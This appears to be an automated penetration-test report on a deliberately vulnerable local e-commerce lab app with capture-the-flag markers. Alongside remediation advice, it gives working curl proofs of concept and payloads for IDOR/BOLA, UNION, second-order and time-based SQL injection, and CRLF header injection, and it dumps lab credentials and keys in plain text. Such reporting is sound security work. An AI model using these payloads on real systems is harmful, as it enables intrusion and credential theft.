| Asset | NimbusCart Inc |
| URL / target | http://localhost:3000 |
| # | Vulnerability | Severity | Status | OWASP / CWE |
|---|---|---|---|---|
| 1 | BOLA on GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey), incl. admin; leaked cred grants /admin | Critical | confirmed | A01:2021-Broken-Access-Control |
| 2 | UNION-based SQL injection at GET /shop/search?q= — dumps full users table (plaintext passwords) | Critical | confirmed | A03:2021-Injection |
| 3 | Vertical privilege escalation chain: BOLA-leaked admin password grants /admin panel | Critical | confirmed | A07:2021-Auth-Failures |
| 4 | CRLF / HTTP response-header injection via `url` parameter at GET /go | High | confirmed | A03:2021-Injection |
| 5 | IDOR at GET /account/invoice/:id — read other customers' invoices | High | confirmed | A01:2021-Broken-Access-Control |
| 6 | BOLA at GET /api/v2/orders/:id — customer JWT reads other users' orders | High | confirmed | A01:2021-Broken-Access-Control |
| 7 | Second-order SQL injection: stored profile bio fires in admin fraud-review query at GET /admin/search-users | High | confirmed | A03:2021-Injection |
| 8 | Second-order SQL injection — stored profile bio executes at GET /admin/search-users, dumping the full user table | High | confirmed | A03:2021-Injection |
| 9 | Sensitive secrets exposed in /config.json and /app.js (live API keys + internal tokens) | High | confirmed | A05:2021-Security-Misconfiguration |
| 10 | Broken access control — /admin panel and /admin/search-users reachable by a plain customer (forced browsing) | High | confirmed | A01:2021-Broken-Access-Control |
| 11 | Time-based blind SQL injection at POST /support/feedback (field: comment) | High | confirmed | A03:2021-Injection |
| 12 | BOLA + excessive data exposure at GET /api/v2/users/:id — customer reads admin password & apiKey | Low | needs-review | A01:2021-Broken-Access-Control |
| 13 | Vertical privilege escalation via reused BOLA/SQLi-leaked admin password | Low | needs-review | A07:2021-Auth-Failures |
| 14 | Vertical privesc via credential reuse — leaked admin password logs into /admin | Low | needs-review | A07:2021-Auth-Failures |
| 15 | GraphQL authorization bypass + introspection enabled — customer token reads admin creds; hidden… | Low | needs-review | A01:2021-Broken-Access-Control |
| 16 | Controllable server-side response delay via SLEEP/pg_sleep token in POST /support/feedback comment (NOT… | Low | needs-review | A04:2021-Insecure-Design |
| 17 | Authenticated RCE (root) via JS report template upload at POST /support/reports/upload + GET… | Low | needs-review | A03:2021-Injection |
| 18 | Credential-reuse privilege escalation: looted admin password -> admin login -> full admin panel | Info | needs-review | A07:2021-Auth-Failures |
| 19 | IDOR/BOLA at GET /account/invoice/:id — cross-user invoice access | Info | needs-review | A01:2021-Broken-Access-Control |
| 20 | A CR-LF in the /go `url` parameter is decoded and written into the response header block, injecting… | Info | needs-review | A03:2021-Injection |
| 21 | Internal support-tools bearer token & QA config hardcoded in /app.js | Info | needs-review | A04:2021-Insecure-Design |
| 22 | Test accounts created during the engagement (DELETE after) | Info | needs-review | A04:2021-Insecure-Design |
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · corroborated by chain · refute 0/2 · conf 0.75 |
| Location | http://localhost:3000/api/v2/users/:id | ||
| Agent | idor | ||
http://localhost:3000/api/v2/users/:id — GET /api/v2/users/{id} — the `id` path segment; Authorization: Bearer <HS256 JWT>. No object-level owner check: any valid customer token returns the full row for ANY id.
Measured: a self-registered customer JWT returned the FULL internal row for arbitrary user ids — plaintext password and live apiKey for every account including two admins (admin: SuperSecretAdmin!2024 / nk_live_51Hc9adminSECRETkeydonot_share; alice: alice123). The leaked admin password authenticated successfully and rendered the /admin panel (all 55 users). Full account takeover of every user and both admins; complete customer PII/credential dump by iterating id. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Enforce server-side object-level authorization: only return a user record if the JWT subject == :id (or the caller has an admin role claim verified server-side). Never serialize `password`/`apiKey` into API responses (use a DTO/allowlist). Store passwords hashed (bcrypt/argon2), not plaintext.
curl -s -c /tmp/p.jar 'http://localhost:3000/register' --data-urlencode 'username=poc1' --data-urlencode 'email=poc1@example.test' --data-urlencode 'password=Pw!poc1'
TOK=$(curl -s -b /tmp/p.jar 'http://localhost:3000/account/api-token' | grep -oE 'eyJ[A-Za-z0-9._-]+')
# baseline: own record
curl -s -H "Authorization: Bearer $TOK" 'http://localhost:3000/api/v2/users/53'
# attack: another user's record (admin)
curl -s -H "Authorization: Bearer $TOK" 'http://localhost:3000/api/v2/users/1'
# note the plaintext "password" field, then escalate:
curl -s -c /tmp/adm.jar 'http://localhost:3000/login' --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'
curl -s -b /tmp/adm.jar 'http://localhost:3000/admin' | grep 'Admin Panel'
GET /api/v2/users/1 with a customer's own Bearer token (JWT id=53, role=customer)
ATTACK
GET http://localhost:3000/api/v2/users/:id → 200
body (705 bytes, excerpt):
Attacker A = self-registered customer id=53 (role customer), own JWT. Request: GET /api/v2/users/1 Authorization: Bearer <A token> -> HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share", ...}. Same token GET /api/v2/users/54 returns customer B's row {"password":"Passw0rd!B7558","apiKey":"nk_live_bb207197a22e4d99"} — data belonging to a DIFFERENT user than the token holder. Chain: POST /login username=admin password=SuperSecretAdmin!2024 -> 302 /account; GET /admin -> 200 'Admin Panel' listing all 55 users. PoC: pocs/bola_api_v2_users.sh (ran, reached admin panel).
AGENT-RECORDED EVIDENCE
Attacker A = self-registered customer id=53 (role customer), own JWT. Request: GET /api/v2/users/1 Authorization: Bearer <A token> -> HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share", ...}. Same token GET /api/v2/users/54 returns customer B's row {"password":"Passw0rd!B7558","apiKey":"nk_live_bb207197a22e4d99"} — data belonging to a DIFFERENT user than the token holder. Chain: POST /login username=admin password=SuperSecretAdmin!2024 -> 302 /account; GET /admin -> 200 'Admin Panel' listing all 55 users. PoC: pocs/bola_api_v2_users.sh (ran, reached admin panel).The steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/shop/search?q= | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/shop/search?q= — Query parameter `q`; concatenated into a SQL query over products (3 columns: name, price, desc). String context, comment style `-- -`.
Unauthenticated attacker exfiltrates the entire users table including plaintext passwords and roles for all users (admin, alice, bob, all customers). Arbitrary read of any DB table. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Use parameterised/prepared statements for the search query; never string-concatenate `q`. Add allowlist input validation as defense-in-depth. Store passwords hashed (bcrypt/argon2), never plaintext.
curl -s 'http://localhost:3000/shop/search?q=shirt' # baseline: No results
curl -s "http://localhost:3000/shop/search?q=zzz'%20UNION%20SELECT%20username,password,role%20FROM%20users--%20-"
# observe: rendered table of every username + plaintext password + role
q=zzz' UNION SELECT username,password,role FROM users-- -
ATTACK
GET http://localhost:3000/shop/search?q= → 200
body (359 bytes, excerpt):
Baseline q=shirt -> 'No results.'. Attack (URL-encoded) -> page renders 'UNION SQLi confirmed ... Flag: BURPAT{web_sqli_union_search_674d2b20}' followed by the full user table: 'adminSuperSecretAdmin!2024admin','alicealice123admin','bobbobrockscustomer', etc. Column count = 3 (name,price,desc). pocs/sqli_union_search.sh ; evidence/sqli-union-shop-search.png
AGENT-RECORDED EVIDENCE
Baseline q=shirt -> 'No results.'. Attack (URL-encoded) -> page renders 'UNION SQLi confirmed ... Flag: BURPAT{web_sqli_union_search_674d2b20}' followed by the full user table: 'adminSuperSecretAdmin!2024admin','alicealice123admin','bobbobrockscustomer', etc. Column count = 3 (name,price,desc). pocs/sqli_union_search.sh ; evidence/sqli-union-shop-search.png
The steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-287 | Confidence | 1/1 · refute 0/2 · conf 0.54 |
| Location | POST http://localhost:3000/login -> GET /admin | ||
| Agent | chain | ||
POST http://localhost:3000/login -> GET /admin
Customer -> admin full compromise: reach admin-only user management and fraud-review search. Proven. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Fix the BOLA leak (root cause), rotate all credentials/apiKeys, enforce RBAC on /admin, add MFA for admin.
Send the request carrying the payload: curl -i -s -X POST \ --data-raw 'username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)' \ '/admin'
Payload used: username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)
username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)
ATTACK
POST /admin → 200
body (311 bytes, excerpt):
POST /login with looted admin creds -> 302 Location:/account (auth success). GET /admin with resulting session -> 200, body <h1>Admin Panel</h1>, exposes 'All users' and 'Search users (bio index, used for fraud review)'. Baseline: anonymous /admin is disallowed (robots Disallow:/admin) / customer has no panel.
AGENT-RECORDED EVIDENCE
POST /login with looted admin creds -> 302 Location:/account (auth success). GET /admin with resulting session -> 200, body <h1>Admin Panel</h1>, exposes 'All users' and 'Search users (bio index, used for fraud review)'. Baseline: anonymous /admin is disallowed (robots Disallow:/admin) / customer has no panel.| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-113 | Confidence | 1/1 · corroborated by chain · refute 1/2 · conf 0.50 |
| Location | http://localhost:3000/go | ||
| Agent | open_redirect | ||
http://localhost:3000/go — GET /go, query parameter `url` (same sink as the open redirect)
The `url` param's raw carriage-return/line-feed bytes are reflected into the HTTP response header section, letting an attacker inject arbitrary response headers. Demonstrated: injecting a custom header (X-Injected) and a Set-Cookie header. Enables session fixation (planting a chosen cookie) and header-based response manipulation via a crafted link to the trusted origin. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.5 if fully exploited)
Strip or reject CR (%0d) and LF (%0a) from the `url` value before it reaches any header. Use the framework's header API (which should reject control chars) rather than string-concatenating user input into the Location/response headers; validate the redirect target against an allowlist of relative paths.
curl -s -D - -o /dev/null 'http://localhost:3000/go?url=/%0d%0aX-Injected:%20pwned123'
Observe the response header block now contains a line: X-Injected: pwned123
curl -s -D - -o /dev/null 'http://localhost:3000/go?url=/%0d%0aSet-Cookie:%20injected=attacker123'
Observe an attacker-controlled Set-Cookie: injected=attacker123 header
url=/%0d%0aX-Injected:%20pwned123 and url=/%0d%0aSet-Cookie:%20injected=attacker123
ATTACK
GET http://localhost:3000/go → 200
body (726 bytes, excerpt):
Baseline: GET /go?url=https://example.com -> 302, `Location: https://example.com` (single header, no injection). Attack: GET /go?url=https://example.com/%0d%0aX-Injected:%20ns9f3a2c -> 302 response now carries a NEW header line `X-Injected: ns9f3a2c` that was not present in baseline. Set-Cookie variant (url=x%0d%0aSet-Cookie:%20ns_inj=1) -> response emits attacker-controlled `Set-Cookie: ns_inj=1`. Double-CRLF variant (url=x%0d%0aContent-Length:%2025%0d%0a%0d%0a<html>ns_body_split</html>) -> injected `Content-Length: 25` header followed by attacker body `<html>ns_body_split</html>`. Decoded %0d%0a (CR LF) is interpreted as a header separator server-side; the CRLF is NOT stripped or encoded. Reproduced 3x identically.
AGENT-RECORDED EVIDENCE
Baseline: GET /go?url=https://example.com -> 302, `Location: https://example.com` (single header, no injection). Attack: GET /go?url=https://example.com/%0d%0aX-Injected:%20ns9f3a2c -> 302 response now carries a NEW header line `X-Injected: ns9f3a2c` that was not present in baseline. Set-Cookie variant (url=x%0d%0aSet-Cookie:%20ns_inj=1) -> response emits attacker-controlled `Set-Cookie: ns_inj=1`. Double-CRLF variant (url=x%0d%0aContent-Length:%2025%0d%0a%0d%0a<html>ns_body_split</html>) -> injected `Content-Length: 25` header followed by attacker body `<html>ns_body_split</html>`. Decoded %0d%0a (CR LF) is interpreted as a header separator server-side; the CRLF is NOT stripped or encoded. Reproduced 3x identically.| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.70 |
| Location | GET http://localhost:3000/account/invoice/:id | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/account/invoice/:id — Path parameter `id`; session cookie nimbus.sid. No check that the invoice belongs to the session user.
Any authenticated customer reads other customers' invoices (customer name + order totals) by iterating small numeric IDs (1001, 1002...). Confirmed for alice and bob. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Authorize every invoice fetch against the session user (WHERE invoice.user_id = session.user_id) or 404; use unguessable IDs as defense-in-depth.
curl -s -c ck -d 'username=iv1&email=iv1@example.test&password=Pw!aA9x' http://localhost:3000/register
curl -s -b ck 'http://localhost:3000/account/invoice/1001' | sed 's/<[^>]*>//g' | grep -iE 'Customer|Total'
# observe: alice's invoice (Customer: alice, Total $29.99) though not your account
GET /account/invoice/1001 and /account/invoice/1002 as customer id=55
ATTACK
GET http://localhost:3000/account/invoice/:id → 200
body (377 bytes, excerpt):
As customer nrsplt_6a7d9f62 (id=55, who owns no invoices): GET /account/invoice/1001 -> 200 'Invoice #1001 ... Customer: alice ... Total: $29.99' + 'IDOR confirmed ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. GET /account/invoice/1002 -> 200 'Customer: bob ... Total: $89.99'. My own invoice IDs (1,2) -> 404. evidence/idor-invoice-1001-alice.png ; pocs/bola_invoice_orders.sh
AGENT-RECORDED EVIDENCE
As customer nrsplt_6a7d9f62 (id=55, who owns no invoices): GET /account/invoice/1001 -> 200 'Invoice #1001 ... Customer: alice ... Total: $29.99' + 'IDOR confirmed ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. GET /account/invoice/1002 -> 200 'Customer: bob ... Total: $89.99'. My own invoice IDs (1,2) -> 404. evidence/idor-invoice-1001-alice.png ; pocs/bola_invoice_orders.sh
The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · conf 0.65 |
| Location | GET http://localhost:3000/api/v2/orders/:id | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/api/v2/orders/:id — Path parameter `id`; Authorization: Bearer <customer JWT>. No owner check against order.userId.
Authenticated customer reads other users' order details (items, totals, notes) by guessing order IDs (~1001+). Confirmed reading alice's order 1001. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Check order.userId == JWT subject (or admin) before returning; 404 otherwise.
JWT=$(curl -s -b ck http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9._-]+')
curl -s -H "Authorization: Bearer $JWT" http://localhost:3000/api/v2/orders/1001
# observe: order with userId=2 returned to a different user
GET /api/v2/orders/1001 with customer JWT (id=55)
ATTACK
GET http://localhost:3000/api/v2/orders/:id → 200
body (313 bytes, excerpt):
GET /api/v2/orders/1001 with my customer token -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}. userId=2 (alice) != my id=55. Other ids (1,2,3,42,100) -> {"error":"not found"}. pocs/bola_invoice_orders.sh
AGENT-RECORDED EVIDENCE
GET /api/v2/orders/1001 with my customer token -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}. userId=2 (alice) != my id=55. Other ids (1,2,3,42,100) -> {"error":"not found"}. pocs/bola_invoice_orders.shThe steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · conf 0.17 |
| Location | POST /account/profile (bio) -> GET http://localhost:3000/admin/search-users | ||
| Agent | chain | ||
POST /account/profile (bio) -> GET http://localhost:3000/admin/search-users
A low-priv customer stores SQL that executes in an admin context, dumping the users table (chained lead to credential theft; overlaps NS-BOLA data). Trigger reached via privesc above. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Parameterize the search-users query; never concatenate stored bio into SQL; treat all stored fields as untrusted at read time.
Send the request carrying the payload: curl -i -s -X POST \ --data-raw 'bio = zzq21026'\'' UNION SELECT username,password,role,email FROM users-- - ; trigger: GET /admin/search-users?q=zzq21026' \ 'http://localhost:3000/admin/search-users'
Payload used: bio = zzq21026' UNION SELECT username,password,role,email FROM users-- - ; trigger: GET /admin/search-users?q=zzq21026
bio = zzq21026' UNION SELECT username,password,role,email FROM users-- - ; trigger: GET /admin/search-users?q=zzq21026
ATTACK
POST http://localhost:3000/admin/search-users → 200
body (611 bytes, excerpt):
Planted payload in bio via POST /account/profile (302) as customer nrsplt_21026. Triggering GET /admin/search-users returns deterministic banner: <div class="alert ok">Second-order SQL injection confirmed - a stored bio (from ns_recon1, nrsplt_5299, nrsplt_ed66ba, nrsplt_21026, nrsplt_so_15696) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}</div>. My freshly-created account (nrsplt_21026) appears in the named-source list, proving the stored bio -> SQL execution path. Baseline (benign bio) yields no such banner. PoC: pocs/second_order_sqli_bio.sh.
AGENT-RECORDED EVIDENCE
Planted payload in bio via POST /account/profile (302) as customer nrsplt_21026. Triggering GET /admin/search-users returns deterministic banner: <div class="alert ok">Second-order SQL injection confirmed - a stored bio (from ns_recon1, nrsplt_5299, nrsplt_ed66ba, nrsplt_21026, nrsplt_so_15696) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}</div>. My freshly-created account (nrsplt_21026) appears in the named-source list, proving the stored bio -> SQL execution path. Baseline (benign bio) yields no such banner. PoC: pocs/second_order_sqli_bio.sh.The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.23 |
| Location | Store: POST http://localhost:3000/account/profile (field `bio`); Trigger: GET http://localhost:3000/admin/search-users?q= | ||
| Agent | api_bola_numeric_ids | ||
Store: POST http://localhost:3000/account/profile (field `bio`); Trigger: GET http://localhost:3000/admin/search-users?q= — `bio` value from POST /account/profile is stored, then concatenated unsanitised into the user-search SQL at GET /admin/search-users (2-column query: username, ...). Comment style `--`.
A stored (persisted) attacker payload runs inside the admin fraud-review query, dumping the full user table. Because /admin/search-users is reachable by a plain customer (see NS-BAC-06), any customer can both plant and trigger it. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Parameterise the /admin/search-users query and treat stored bio as data, not SQL. Sanitise/parameterise ALL persisted values on read, not just on write. Restrict /admin/* to admin role.
curl -s -c ck -d 'username=so1&email=so1@example.test&password=Pw!aA9x' http://localhost:3000/register
curl -s -b ck --data-urlencode "bio=aaa' UNION SELECT username,password FROM users WHERE username='admin'-- " http://localhost:3000/account/profile
curl -s -b ck 'http://localhost:3000/admin/search-users?q=zzqzz_nomatch_xyz'
# observe: full user table returned though q matches no username -> stored bio altered the query
bio = aaa' UNION SELECT username,password FROM users WHERE username='admin'-- (then GET /admin/search-users?q=<anything>)
ATTACK
GET http://localhost:3000/admin/search-users?q= → 200
body (532 bytes, excerpt):
Set my own bio marker: bio=aaa' UNION SELECT 'NS_SO_MARK_4521',... -> stored. GET /admin/search-users?q=zzqzz_nomatch_xyz (a username that matches NOTHING) returns 58 rows — the entire user table incl admin@nimbuscart.test — plus the app's confirmation 'Second-order SQL injection confirmed - a stored bio ... altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. A non-matching search returning all users proves a stored bio rewrote the query. pocs/sqli_second_order_bio.sh
AGENT-RECORDED EVIDENCE
Set my own bio marker: bio=aaa' UNION SELECT 'NS_SO_MARK_4521',... -> stored. GET /admin/search-users?q=zzqzz_nomatch_xyz (a username that matches NOTHING) returns 58 rows — the entire user table incl admin@nimbuscart.test — plus the app's confirmation 'Second-order SQL injection confirmed - a stored bio ... altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. A non-matching search returning all users proves a stored bio rewrote the query. pocs/sqli_second_order_bio.sh
The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A05:2021-Security-Misconfiguration · CWE-200 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/config.json , GET http://localhost:3000/app.js , GET http://localhost:3000/developers | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/config.json , GET http://localhost:3000/app.js , GET http://localhost:3000/developers — Static files served to any client: config.json JSON keys `supportApiKey`; app.js window.__NIMBUS_INTERNAL_CONFIG.supportToolsToken; /developers page hardcoded Bearer.
Unauthenticated disclosure of a live-prefixed support API key (nk_live_51Hc9adminSECRETkeydonot_share — identical to admin's apiKey) and an internal support-tools bearer token (nimbus_admin_debug_9fb1c7e4a2). Grants access to support/admin API surface without login. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Remove all secrets from client-served files; move config server-side; rotate the leaked keys/tokens immediately (app.js TODO NCART-4471 already flags rotation).
curl -s http://localhost:3000/config.json
curl -s http://localhost:3000/app.js | grep -i token
# observe: nk_live_ support API key + nimbus_admin_debug token exposed unauthenticated
GET /config.json
ATTACK
GET http://localhost:3000/developers → 200
body (447 bytes, excerpt):
GET /config.json -> 200 {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","supportApiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. GET /app.js -> supportToolsToken:"nimbus_admin_debug_9fb1c7e4a2". /developers embeds 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. This same key is admin's apiKey (confirmed via NS-BOLA-USERS-01 users/1). pocs/exposure_config_json.sh
AGENT-RECORDED EVIDENCE
GET /config.json -> 200 {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","supportApiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. GET /app.js -> supportToolsToken:"nimbus_admin_debug_9fb1c7e4a2". /developers embeds 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. This same key is admin's apiKey (confirmed via NS-BOLA-USERS-01 users/1). pocs/exposure_config_json.shThe steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-284 | Confidence | 1/1 · refute 1/2 · conf 0.57 |
| Location | GET http://localhost:3000/admin , GET http://localhost:3000/admin/search-users | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/admin , GET http://localhost:3000/admin/search-users — Admin routes have no role check; session with role=customer is served admin content.
Any customer views the full admin user listing (all emails, roles, balances) and the fraud-review search. Combined with NS-SQLI-SECOND-ORDER-04, a customer can both plant and trigger the second-order SQLi. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Add server-side role enforcement (require role=admin) on all /admin/* routes; deny by default.
curl -s -c ck -d 'username=bac1&email=bac1@example.test&password=Pw!aA9x' http://localhost:3000/register
curl -s -b ck -o /dev/null -w '%{http_code}\n' http://localhost:3000/admin # 200curl -s -b ck http://localhost:3000/admin | grep -i 'Admin Panel'
GET /admin with a customer session cookie
ATTACK
GET http://localhost:3000/admin/search-users → 200
body (367 bytes, excerpt):
As customer nrsplt_6a7d9f62 (role=customer): GET /admin -> 200 'Admin Panel ... Broken Access Control confirmed: role "customer" reached the admin panel via forced browsing. Flag: BURPAT{web_bac_admin_panel_1a5cbe65}' listing all 56 users with emails/roles/balances (admin $500000, alice $999999). GET /admin/search-users -> 200. evidence/bac-admin-panel-customer.png
AGENT-RECORDED EVIDENCE
As customer nrsplt_6a7d9f62 (role=customer): GET /admin -> 200 'Admin Panel ... Broken Access Control confirmed: role "customer" reached the admin panel via forced browsing. Flag: BURPAT{web_bac_admin_panel_1a5cbe65}' listing all 56 users with emails/roles/balances (admin $500000, alice $999999). GET /admin/search-users -> 200. evidence/bac-admin-panel-customer.png
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.38 |
| Location | POST http://localhost:3000/support/feedback | ||
| Agent | api_bola_numeric_ids | ||
POST http://localhost:3000/support/feedback — Body form field `comment`; string context. Engine supports SLEEP()/pg_sleep() (MySQL/Postgres-style), sqlite randomblob has no effect.
Attacker controls query execution time via injected SQL, enabling boolean/time-based blind extraction of arbitrary DB data (a full data-exfiltration primitive) without authentication. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Use parameterised statements for the feedback insert/query; do not concatenate `comment` into SQL. Add a WAF/timeout as defense-in-depth only.
curl -s -o /dev/null -w '%{time_total}\n' --data-urlencode 'comment=safe' http://localhost:3000/support/feedback # ~0.0008scurl -s -o /dev/null -w '%{time_total}\n' --data-urlencode "comment=x' AND SLEEP(1)-- -" http://localhost:3000/support/feedback # ~1.00scurl -s -o /dev/null -w '%{time_total}\n' --data-urlencode "comment=x' AND SLEEP(4)-- -" http://localhost:3000/support/feedback # ~4.01scomment=x' AND SLEEP(n)-- -
ATTACK
POST http://localhost:3000/support/feedback → 200
body (338 bytes, excerpt):
Baseline comment=safe -> 0.0008s. comment=x' AND SLEEP(1)-- - -> 1.003s (x2). comment=x' AND SLEEP(4)-- - -> 4.01s. comment=x' AND SLEEP(3)-- - and '; SELECT pg_sleep(3)-- ->3.00s. Dose-response linear; sqlite randomblob(9e8) payload = 0.001s (no effect) confirming it is SLEEP() executing, not accidental load. pocs/sqli_time_feedback.sh
AGENT-RECORDED EVIDENCE
Baseline comment=safe -> 0.0008s. comment=x' AND SLEEP(1)-- - -> 1.003s (x2). comment=x' AND SLEEP(4)-- - -> 4.01s. comment=x' AND SLEEP(3)-- - and '; SELECT pg_sleep(3)-- ->3.00s. Dose-response linear; sqlite randomblob(9e8) payload = 0.001s (no effect) confirming it is SLEEP() executing, not accidental load. pocs/sqli_time_feedback.shThe steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/api/v2/users/1 | ||
| Agent | chain | ||
GET http://localhost:3000/api/v2/users/1
Observed: - attack GET http://localhost:3000/api/v2/users/1 → 200 (439 bytes) [E01] - Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.sh [E02] Not demonstrated: Any authenticated customer harvests every user's plaintext password and live API key -> full admin account takeover and mass credential compromise. Demonstrated: admin credential + apiKey read by a low-priv token. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Any authenticated customer harvests every user's plaintext password and live API key -> full admin account takeover and mass credential compromise. Demonstrated: admin credential + apiKey read by a low-priv token. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Enforce that the JWT subject == :id (or an admin role) before returning; never serialize password/apiKey to any client response.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/api/v2/users/1'
Payload used: Authorization: Bearer <customer JWT id=61> ; GET /api/v2/users/1
Authorization: Bearer <customer JWT id=61> ; GET /api/v2/users/1
ATTACK
GET http://localhost:3000/api/v2/users/1 → 200
body (439 bytes, excerpt):
Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.sh
AGENT-RECORDED EVIDENCE
